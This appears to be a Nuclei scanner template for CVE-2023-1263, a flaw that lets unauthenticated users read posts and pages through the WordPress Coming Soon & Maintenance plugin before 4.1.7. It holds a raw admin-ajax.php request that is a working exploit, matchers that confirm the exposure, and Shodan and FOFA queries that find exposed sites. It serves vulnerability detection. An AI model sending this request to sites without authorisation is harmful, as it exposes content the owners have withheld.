id: CVE-2023-1263

info:
  name: Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not restrict access to published and non protected posts/pages when the maintenance mode is enabled, allowing unauthenticated users to access them.
  impact: |
    Unauthenticated attackers can bypass maintenance mode restrictions to access published posts and pages that should be protected during maintenance.
  remediation: Fixed in version 4.1.7
  reference:
    - https://wpscan.com/vulnerability/2e07ffd9-8e82-4078-96aa-162ef78c417b
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1263
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cmp-coming-soon-maintenance/cmp-coming-soon-maintenance-plugin-by-niteothemes-416-information-exposure
    - https://wordpress.org/plugins/cmp-coming-soon-maintenance/
    - https://plugins.trac.wordpress.org/browser/cmp-coming-soon-maintenance/tags/4.1.6/niteo-cmp.php#L2759
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-1263
    cwe-id: CWE-200
    epss-score: 0.01414
    epss-percentile: 0.6924
    cpe: cpe:2.3:a:niteothemes:coming_soon_\&_maintenance:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: niteothemes
    product: coming_soon_\&_maintenance
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/cmp-coming-soon-maintenance/
    fofa-query: body=/wp-content/plugins/cmp-coming-soon-maintenance/
    publicwww-query: "/wp-content/plugins/cmp-coming-soon-maintenance/"
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,cmp-coming-soon-maintenance,unauth,niteothemes,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=cmp_get_post_detail&id=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"img":'
          - '"date":'
          - '"title":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a0046304402204724d701eb0246c4178f88a22979cd54f35dad632ecf2b2305cb98b94aa8174d022053ff67ee417cc22801ec10f1456b3a7ed1897c8e435fbf682626395388608c08:922c64590222798bb761d5b6d8e72950